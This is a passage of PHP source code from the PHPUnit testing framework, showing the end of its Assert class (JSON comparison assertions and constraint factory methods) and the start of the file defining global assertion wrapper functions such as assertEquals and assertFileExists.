@throws ExpectationFailedException */ final public static function assertJson(string $actual, string $message = ''): void { static::assertThat($actual, static::isJson(), $message); } /** * Asserts that two given JSON encoded objects or arrays are equal. * * @throws ExpectationFailedException */ final public static function assertJsonStringEqualsJsonString(string $expectedJson, string $actualJson, string $message = ''): void { static::assertJson($expectedJson, $message); static::assertJson($actualJson, $message); static::assertThat($actualJson, new JsonMatches($expectedJson), $message); } /** * Asserts that two given JSON encoded objects or arrays are not equal. * * @throws ExpectationFailedException */ final public static function assertJsonStringNotEqualsJsonString(string $expectedJson, string $actualJson, string $message = ''): void { static::assertJson($expectedJson, $message); static::assertJson($actualJson, $message); static::assertThat( $actualJson, new LogicalNot( new JsonMatches($expectedJson), ), $message, ); } /** * Asserts that the generated JSON encoded object and the content of the given file are equal. * * @throws ExpectationFailedException */ final public static function assertJsonStringEqualsJsonFile(string $expectedFile, string $actualJson, string $message = ''): void { static::assertFileExists($expectedFile, $message); $expectedJson = file_get_contents($expectedFile); static::assertJson($expectedJson, $message); static::assertJson($actualJson, $message); static::assertThat($actualJson, new JsonMatches($expectedJson), $message); } /** * Asserts that the generated JSON encoded object and the content of the given file are not equal. * * @throws ExpectationFailedException */ final public static function assertJsonStringNotEqualsJsonFile(string $expectedFile, string $actualJson, string $message = ''): void { static::assertFileExists($expectedFile, $message); $expectedJson = file_get_contents($expectedFile); static::assertJson($expectedJson, $message); static::assertJson($actualJson, $message); static::assertThat( $actualJson, new LogicalNot( new JsonMatches($expectedJson), ), $message, ); } /** * Asserts that two JSON files are equal. * * @throws ExpectationFailedException */ final public static function assertJsonFileEqualsJsonFile(string $expectedFile, string $actualFile, string $message = ''): void { static::assertFileExists($expectedFile, $message); static::assertFileExists($actualFile, $message); $actualJson = file_get_contents($actualFile); $expectedJson = file_get_contents($expectedFile); static::assertJson($expectedJson, $message); static::assertJson($actualJson, $message); $constraintExpected = new JsonMatches( $expectedJson, ); $constraintActual = new JsonMatches($actualJson); static::assertThat($expectedJson, $constraintActual, $message); static::assertThat($actualJson, $constraintExpected, $message); } /** * Asserts that two JSON files are not equal. * * @throws ExpectationFailedException */ final public static function assertJsonFileNotEqualsJsonFile(string $expectedFile, string $actualFile, string $message = ''): void { static::assertFileExists($expectedFile, $message); static::assertFileExists($actualFile, $message); $actualJson = file_get_contents($actualFile); $expectedJson = file_get_contents($expectedFile); static::assertJson($expectedJson, $message); static::assertJson($actualJson, $message); $constraintExpected = new JsonMatches( $expectedJson, ); $constraintActual = new JsonMatches($actualJson); static::assertThat($expectedJson, new LogicalNot($constraintActual), $message); static::assertThat($actualJson, new LogicalNot($constraintExpected), $message); } /** * @throws Exception */ final public static function logicalAnd(mixed ...$constraints): LogicalAnd { return LogicalAnd::fromConstraints(...$constraints); } final public static function logicalOr(mixed ...$constraints): LogicalOr { return LogicalOr::fromConstraints(...$constraints); } final public static function logicalNot(Constraint $constraint): LogicalNot { return new LogicalNot($constraint); } final public static function logicalXor(mixed ...$constraints): LogicalXor { return LogicalXor::fromConstraints(...$constraints); } final public static function anything(): IsAnything { return new IsAnything; } final public static function isTrue(): IsTrue { return new IsTrue; } /** * @psalm-template CallbackInput of mixed * * @psalm-param callable(CallbackInput $callback): bool $callback * * @psalm-return Callback */ final public static function callback(callable $callback): Callback { return new Callback($callback); } final public static function isFalse(): IsFalse { return new IsFalse; } final public static function isJson(): IsJson { return new IsJson; } final public static function isNull(): IsNull { return new IsNull; } final public static function isFinite(): IsFinite { return new IsFinite; } final public static function isInfinite(): IsInfinite { return new IsInfinite; } final public static function isNan(): IsNan { return new IsNan; } final public static function containsEqual(mixed $value): TraversableContainsEqual { return new TraversableContainsEqual($value); } final public static function containsIdentical(mixed $value): TraversableContainsIdentical { return new TraversableContainsIdentical($value); } /** * @throws Exception */ final public static function containsOnly(string $type): TraversableContainsOnly { return new TraversableContainsOnly($type); } /** * @throws Exception */ final public static function containsOnlyInstancesOf(string $className): TraversableContainsOnly { return new TraversableContainsOnly($className, false); } final public static function arrayHasKey(mixed $key): ArrayHasKey { return new ArrayHasKey($key); } final public static function isList(): IsList { return new IsList; } final public static function equalTo(mixed $value): IsEqual { return new IsEqual($value, 0.0, false, false); } final public static function equalToCanonicalizing(mixed $value): IsEqualCanonicalizing { return new IsEqualCanonicalizing($value); } final public static function equalToIgnoringCase(mixed $value): IsEqualIgnoringCase { return new IsEqualIgnoringCase($value); } final public static function equalToWithDelta(mixed $value, float $delta): IsEqualWithDelta { return new IsEqualWithDelta($value, $delta); } final public static function isEmpty(): IsEmpty { return new IsEmpty; } final public static function isWritable(): IsWritable { return new IsWritable; } final public static function isReadable(): IsReadable { return new IsReadable; } final public static function directoryExists(): DirectoryExists { return new DirectoryExists; } final public static function fileExists(): FileExists { return new FileExists; } final public static function greaterThan(mixed $value): GreaterThan { return new GreaterThan($value); } final public static function greaterThanOrEqual(mixed $value): LogicalOr { return static::logicalOr( new IsEqual($value), new GreaterThan($value), ); } final public static function identicalTo(mixed $value): IsIdentical { return new IsIdentical($value); } /** * @throws UnknownClassOrInterfaceException */ final public static function isInstanceOf(string $className): IsInstanceOf { return new IsInstanceOf($className); } /** * @psalm-param 'array'|'boolean'|'bool'|'double'|'float'|'integer'|'int'|'null'|'numeric'|'object'|'real'|'resource'|'resource (closed)'|'string'|'scalar'|'callable'|'iterable' $type * * @throws Exception */ final public static function isType(string $type): IsType { return new IsType($type); } final public static function lessThan(mixed $value): LessThan { return new LessThan($value); } final public static function lessThanOrEqual(mixed $value): LogicalOr { return static::logicalOr( new IsEqual($value), new LessThan($value), ); } final public static function matchesRegularExpression(string $pattern): RegularExpression { return new RegularExpression($pattern); } final public static function matches(string $string): StringMatchesFormatDescription { return new StringMatchesFormatDescription($string); } /** * @psalm-param non-empty-string $prefix * * @throws InvalidArgumentException */ final public static function stringStartsWith(string $prefix): StringStartsWith { return new StringStartsWith($prefix); } final public static function stringContains(string $string, bool $case = true): StringContains { return new StringContains($string, $case); } /** * @psalm-param non-empty-string $suffix * * @throws InvalidArgumentException */ final public static function stringEndsWith(string $suffix): StringEndsWith { return new StringEndsWith($suffix); } final public static function stringEqualsStringIgnoringLineEndings(string $string): StringEqualsStringIgnoringLineEndings { return new StringEqualsStringIgnoringLineEndings($string); } final public static function countOf(int $count): Count { return new Count($count); } final public static function objectEquals(object $object, string $method = 'equals'): ObjectEquals { return new ObjectEquals($object, $method); } /** * Fails a test with the given message. * * @throws AssertionFailedError */ final public static function fail(string $message = ''): never { self::$count++; throw new AssertionFailedError($message); } /** * Mark the test as incomplete. * * @throws IncompleteTestError */ final public static function markTestIncomplete(string $message = ''): never { throw new IncompleteTestError($message); } /** * Mark the test as skipped. * * @throws SkippedWithMessageException */ final public static function markTestSkipped(string $message = ''): never { throw new SkippedWithMessageException($message); } /** * Return the current assertion count. */ final public static function getCount(): int { return self::$count; } /** * Reset the assertion counter. */ final public static function resetCount(): void { self::$count = 0; } private static function isNativeType(string $type): bool { return match ($type) { 'numeric', 'integer', 'int', 'iterable', 'float', 'string', 'boolean', 'bool', 'null', 'array', 'object', 'resource', 'scalar' => true, default => false, }; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use function func_get_args; use function function_exists; use ArrayAccess; use Countable; use PHPUnit\Framework\Constraint\ArrayHasKey; use PHPUnit\Framework\Constraint\Callback; use PHPUnit\Framework\Constraint\Constraint; use PHPUnit\Framework\Constraint\Count; use PHPUnit\Framework\Constraint\DirectoryExists; use PHPUnit\Framework\Constraint\FileExists; use PHPUnit\Framework\Constraint\GreaterThan; use PHPUnit\Framework\Constraint\IsAnything; use PHPUnit\Framework\Constraint\IsEmpty; use PHPUnit\Framework\Constraint\IsEqual; use PHPUnit\Framework\Constraint\IsEqualCanonicalizing; use PHPUnit\Framework\Constraint\IsEqualIgnoringCase; use PHPUnit\Framework\Constraint\IsEqualWithDelta; use PHPUnit\Framework\Constraint\IsFalse; use PHPUnit\Framework\Constraint\IsFinite; use PHPUnit\Framework\Constraint\IsIdentical; use PHPUnit\Framework\Constraint\IsInfinite; use PHPUnit\Framework\Constraint\IsInstanceOf; use PHPUnit\Framework\Constraint\IsJson; use PHPUnit\Framework\Constraint\IsList; use PHPUnit\Framework\Constraint\IsNan; use PHPUnit\Framework\Constraint\IsNull; use PHPUnit\Framework\Constraint\IsReadable; use PHPUnit\Framework\Constraint\IsTrue; use PHPUnit\Framework\Constraint\IsType; use PHPUnit\Framework\Constraint\IsWritable; use PHPUnit\Framework\Constraint\LessThan; use PHPUnit\Framework\Constraint\LogicalAnd; use PHPUnit\Framework\Constraint\LogicalNot; use PHPUnit\Framework\Constraint\LogicalOr; use PHPUnit\Framework\Constraint\LogicalXor; use PHPUnit\Framework\Constraint\ObjectEquals; use PHPUnit\Framework\Constraint\RegularExpression; use PHPUnit\Framework\Constraint\StringContains; use PHPUnit\Framework\Constraint\StringEndsWith; use PHPUnit\Framework\Constraint\StringEqualsStringIgnoringLineEndings; use PHPUnit\Framework\Constraint\StringMatchesFormatDescription; use PHPUnit\Framework\Constraint\StringStartsWith; use PHPUnit\Framework\Constraint\TraversableContainsEqual; use PHPUnit\Framework\Constraint\TraversableContainsIdentical; use PHPUnit\Framework\Constraint\TraversableContainsOnly; use PHPUnit\Framework\MockObject\Rule\AnyInvokedCount as AnyInvokedCountMatcher; use PHPUnit\Framework\MockObject\Rule\InvokedAtLeastCount as InvokedAtLeastCountMatcher; use PHPUnit\Framework\MockObject\Rule\InvokedAtLeastOnce as InvokedAtLeastOnceMatcher; use PHPUnit\Framework\MockObject\Rule\InvokedAtMostCount as InvokedAtMostCountMatcher; use PHPUnit\Framework\MockObject\Rule\InvokedCount as InvokedCountMatcher; use PHPUnit\Framework\MockObject\Stub\ConsecutiveCalls as ConsecutiveCallsStub; use PHPUnit\Framework\MockObject\Stub\Exception as ExceptionStub; use PHPUnit\Framework\MockObject\Stub\ReturnArgument as ReturnArgumentStub; use PHPUnit\Framework\MockObject\Stub\ReturnCallback as ReturnCallbackStub; use PHPUnit\Framework\MockObject\Stub\ReturnSelf as ReturnSelfStub; use PHPUnit\Framework\MockObject\Stub\ReturnStub; use PHPUnit\Framework\MockObject\Stub\ReturnValueMap as ReturnValueMapStub; use PHPUnit\Util\Xml\XmlException; use Throwable; if (!function_exists('PHPUnit\Framework\assertArrayHasKey')) { /** * Asserts that an array has a specified key. * * @throws Exception * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertArrayHasKey */ function assertArrayHasKey(mixed $key, array|ArrayAccess $array, string $message = ''): void { Assert::assertArrayHasKey(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertArrayNotHasKey')) { /** * Asserts that an array does not have a specified key. * * @throws Exception * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertArrayNotHasKey */ function assertArrayNotHasKey(mixed $key, array|ArrayAccess $array, string $message = ''): void { Assert::assertArrayNotHasKey(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsList')) { /** * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsList */ function assertIsList(mixed $array, string $message = ''): void { Assert::assertIsList(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertContains')) { /** * Asserts that a haystack contains a needle. * * @throws Exception * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertContains */ function assertContains(mixed $needle, iterable $haystack, string $message = ''): void { Assert::assertContains(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertContainsEquals')) { /** * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertContainsEquals */ function assertContainsEquals(mixed $needle, iterable $haystack, string $message = ''): void { Assert::assertContainsEquals(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertNotContains')) { /** * Asserts that a haystack does not contain a needle. * * @throws Exception * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertNotContains */ function assertNotContains(mixed $needle, iterable $haystack, string $message = ''): void { Assert::assertNotContains(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertNotContainsEquals')) { /** * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertNotContainsEquals */ function assertNotContainsEquals(mixed $needle, iterable $haystack, string $message = ''): void { Assert::assertNotContainsEquals(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertContainsOnly')) { /** * Asserts that a haystack contains only values of a given type. * * @throws Exception * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertContainsOnly */ function assertContainsOnly(string $type, iterable $haystack, ?bool $isNativeType = null, string $message = ''): void { Assert::assertContainsOnly(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertContainsOnlyInstancesOf')) { /** * Asserts that a haystack contains only instances of a given class name. * * @throws Exception * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertContainsOnlyInstancesOf */ function assertContainsOnlyInstancesOf(string $className, iterable $haystack, string $message = ''): void { Assert::assertContainsOnlyInstancesOf(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertNotContainsOnly')) { /** * Asserts that a haystack does not contain only values of a given type. * * @throws Exception * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertNotContainsOnly */ function assertNotContainsOnly(string $type, iterable $haystack, ?bool $isNativeType = null, string $message = ''): void { Assert::assertNotContainsOnly(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertCount')) { /** * Asserts the number of elements of an array, Countable or Traversable. * * @throws Exception * @throws ExpectationFailedException * @throws GeneratorNotSupportedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertCount */ function assertCount(int $expectedCount, Countable|iterable $haystack, string $message = ''): void { Assert::assertCount(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertNotCount')) { /** * Asserts the number of elements of an array, Countable or Traversable. * * @throws Exception * @throws ExpectationFailedException * @throws GeneratorNotSupportedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertNotCount */ function assertNotCount(int $expectedCount, Countable|iterable $haystack, string $message = ''): void { Assert::assertNotCount(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertEquals')) { /** * Asserts that two variables are equal. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertEquals */ function assertEquals(mixed $expected, mixed $actual, string $message = ''): void { Assert::assertEquals(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertEqualsCanonicalizing')) { /** * Asserts that two variables are equal (canonicalizing). * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertEqualsCanonicalizing */ function assertEqualsCanonicalizing(mixed $expected, mixed $actual, string $message = ''): void { Assert::assertEqualsCanonicalizing(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertEqualsIgnoringCase')) { /** * Asserts that two variables are equal (ignoring case). * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertEqualsIgnoringCase */ function assertEqualsIgnoringCase(mixed $expected, mixed $actual, string $message = ''): void { Assert::assertEqualsIgnoringCase(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertEqualsWithDelta')) { /** * Asserts that two variables are equal (with delta). * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertEqualsWithDelta */ function assertEqualsWithDelta(mixed $expected, mixed $actual, float $delta, string $message = ''): void { Assert::assertEqualsWithDelta(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertNotEquals')) { /** * Asserts that two variables are not equal. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertNotEquals */ function assertNotEquals(mixed $expected, mixed $actual, string $message = ''): void { Assert::assertNotEquals(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertNotEqualsCanonicalizing')) { /** * Asserts that two variables are not equal (canonicalizing). * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertNotEqualsCanonicalizing */ function assertNotEqualsCanonicalizing(mixed $expected, mixed $actual, string $message = ''): void { Assert::assertNotEqualsCanonicalizing(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertNotEqualsIgnoringCase')) { /** * Asserts that two variables are not equal (ignoring case). * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertNotEqualsIgnoringCase */ function assertNotEqualsIgnoringCase(mixed $expected, mixed $actual, string $message = ''): void { Assert::assertNotEqualsIgnoringCase(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertNotEqualsWithDelta')) { /** * Asserts that two variables are not equal (with delta). * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertNotEqualsWithDelta */ function assertNotEqualsWithDelta(mixed $expected, mixed $actual, float $delta, string $message = ''): void { Assert::assertNotEqualsWithDelta(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertObjectEquals')) { /** * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertObjectEquals */ function assertObjectEquals(object $expected, object $actual, string $method = 'equals', string $message = ''): void { Assert::assertObjectEquals(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertEmpty')) { /** * Asserts that a variable is empty. * * @throws ExpectationFailedException * @throws GeneratorNotSupportedException * * @psalm-assert empty $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertEmpty */ function assertEmpty(mixed $actual, string $message = ''): void { Assert::assertEmpty(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertNotEmpty')) { /** * Asserts that a variable is not empty. * * @throws ExpectationFailedException * @throws GeneratorNotSupportedException * * @psalm-assert !empty $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertNotEmpty */ function assertNotEmpty(mixed $actual, string $message = ''): void { Assert::assertNotEmpty(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertGreaterThan')) { /** * Asserts that a value is greater than another value. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertGreaterThan */ function assertGreaterThan(mixed $expected, mixed $actual, string $message = ''): void { Assert::assertGreaterThan(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertGreaterThanOrEqual')) { /** * Asserts that a value is greater than or equal to another value. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertGreaterThanOrEqual */ function assertGreaterThanOrEqual(mixed $expected, mixed $actual, string $message = ''): void { Assert::assertGreaterThanOrEqual(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertLessThan')) { /** * Asserts that a value is smaller than another value. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertLessThan */ function assertLessThan(mixed $expected, mixed $actual, string $message = ''): void { Assert::assertLessThan(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertLessThanOrEqual')) { /** * Asserts that a value is smaller than or equal to another value. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertLessThanOrEqual */ function assertLessThanOrEqual(mixed $expected, mixed $actual, string $message = ''): void { Assert::assertLessThanOrEqual(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertFileEquals')) { /** * Asserts that the contents of one file is equal to the contents of another * file. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertFileEquals */ function assertFileEquals(string $expected, string $actual, string $message = ''): void { Assert::assertFileEquals(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertFileEqualsCanonicalizing')) { /** * Asserts that the contents of one file is equal to the contents of another * file (canonicalizing). * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertFileEqualsCanonicalizing */ function assertFileEqualsCanonicalizing(string $expected, string $actual, string $message = ''): void { Assert::assertFileEqualsCanonicalizing(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertFileEqualsIgnoringCase')) { /** * Asserts that the contents of one file is equal to the contents of another * file (ignoring case). * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertFileEqualsIgnoringCase */ function assertFileEqualsIgnoringCase(string $expected, string $actual, string $message = ''): void { Assert::assertFileEqualsIgnoringCase(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertFileNotEquals')) { /** * Asserts that the contents of one file is not equal to the contents of * another file. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertFileNotEquals */ function assertFileNotEquals(string $expected, string $actual, string $message = ''): void { Assert::assertFileNotEquals(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertFileNotEqualsCanonicalizing')) { /** * Asserts that the contents of one file is not equal to the contents of another * file (canonicalizing). * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertFileNotEqualsCanonicalizing */ function assertFileNotEqualsCanonicalizing(string $expected, string $actual, string $message = ''): void { Assert::assertFileNotEqualsCanonicalizing(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertFileNotEqualsIgnoringCase')) { /** * Asserts that the contents of one file is not equal to the contents of another * file (ignoring case). * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertFileNotEqualsIgnoringCase */ function assertFileNotEqualsIgnoringCase(string $expected, string $actual, string $message = ''): void { Assert::assertFileNotEqualsIgnoringCase(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertStringEqualsFile')) { /** * Asserts that the contents of a string is equal * to the contents of a file. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertStringEqualsFile */ function assertStringEqualsFile(string $expectedFile, string $actualString, string $message = ''): void { Assert::assertStringEqualsFile(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertStringEqualsFileCanonicalizing')) { /** * Asserts that the contents of a string is equal * to the contents of a file (canonicalizing). * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertStringEqualsFileCanonicalizing */ function assertStringEqualsFileCanonicalizing(string $expectedFile, string $actualString, string $message = ''): void { Assert::assertStringEqualsFileCanonicalizing(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertStringEqualsFileIgnoringCase')) { /** * Asserts that the contents of a string is equal * to the contents of a file (ignoring case). * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertStringEqualsFileIgnoringCase */ function assertStringEqualsFileIgnoringCase(string $expectedFile, string $actualString, string $message = ''): void { Assert::assertStringEqualsFileIgnoringCase(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertStringNotEqualsFile')) { /** * Asserts that the contents of a string is not equal * to the contents of a file. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertStringNotEqualsFile */ function assertStringNotEqualsFile(string $expectedFile, string $actualString, string $message = ''): void { Assert::assertStringNotEqualsFile(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertStringNotEqualsFileCanonicalizing')) { /** * Asserts that the contents of a string is not equal * to the contents of a file (canonicalizing). * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertStringNotEqualsFileCanonicalizing */ function assertStringNotEqualsFileCanonicalizing(string $expectedFile, string $actualString, string $message = ''): void { Assert::assertStringNotEqualsFileCanonicalizing(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertStringNotEqualsFileIgnoringCase')) { /** * Asserts that the contents of a string is not equal * to the contents of a file (ignoring case). * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertStringNotEqualsFileIgnoringCase */ function assertStringNotEqualsFileIgnoringCase(string $expectedFile, string $actualString, string $message = ''): void { Assert::assertStringNotEqualsFileIgnoringCase(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsReadable')) { /** * Asserts that a file/dir is readable. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsReadable */ function assertIsReadable(string $filename, string $message = ''): void { Assert::assertIsReadable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsNotReadable')) { /** * Asserts that a file/dir exists and is not readable. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsNotReadable */ function assertIsNotReadable(string $filename, string $message = ''): void { Assert::assertIsNotReadable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsWritable')) { /** * Asserts that a file/dir exists and is writable. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsWritable */ function assertIsWritable(string $filename, string $message = ''): void { Assert::assertIsWritable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsNotWritable')) { /** * Asserts that a file/dir exists and is not writable. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsNotWritable */ function assertIsNotWritable(string $filename, string $message = ''): void { Assert::assertIsNotWritable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertDirectoryExists')) { /** * Asserts that a directory exists. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertDirectoryExists */ function assertDirectoryExists(string $directory, string $message = ''): void { Assert::assertDirectoryExists(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertDirectoryDoesNotExist')) { /** * Asserts that a directory does not exist. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertDirectoryDoesNotExist */ function assertDirectoryDoesNotExist(string $directory, string $message = ''): void { Assert::assertDirectoryDoesNotExist(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertDirectoryIsReadable')) { /** * Asserts that a directory exists and is readable. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertDirectoryIsReadable */ function assertDirectoryIsReadable(string $directory, string $message = ''): void { Assert::assertDirectoryIsReadable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertDirectoryIsNotReadable')) { /** * Asserts that a directory exists and is not readable. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertDirectoryIsNotReadable */ function assertDirectoryIsNotReadable(string $directory, string $message = ''): void { Assert::assertDirectoryIsNotReadable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertDirectoryIsWritable')) { /** * Asserts that a directory exists and is writable. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertDirectoryIsWritable */ function assertDirectoryIsWritable(string $directory, string $message = ''): void { Assert::assertDirectoryIsWritable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertDirectoryIsNotWritable')) { /** * Asserts that a directory exists and is not writable. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertDirectoryIsNotWritable */ function assertDirectoryIsNotWritable(string $directory, string $message = ''): void { Assert::assertDirectoryIsNotWritable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertFileExists')) { /** * Asserts that a file exists. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertFileExists */ function assertFileExists(string $filename, string $message = ''): void { Assert::assertFileExists(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertFileDoesNotExist')) { /** * Asserts that a file does not exist. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertFileDoesNotExist */ function assertFileDoesNotExist(string $filename, string $message = ''): void { Assert::assertFileDoesNotExist(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertFileIsReadable')) { /** * Asserts that a file exists and is readable. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertFileIsReadable */ function assertFileIsReadable(string $file, string $message = ''): void { Assert::assertFileIsReadable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertFileIsNotReadable')) { /** * Asserts that a file exists and is not readable. * * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertFileIsNotReadable */ function assertFileIsNotReadable(string 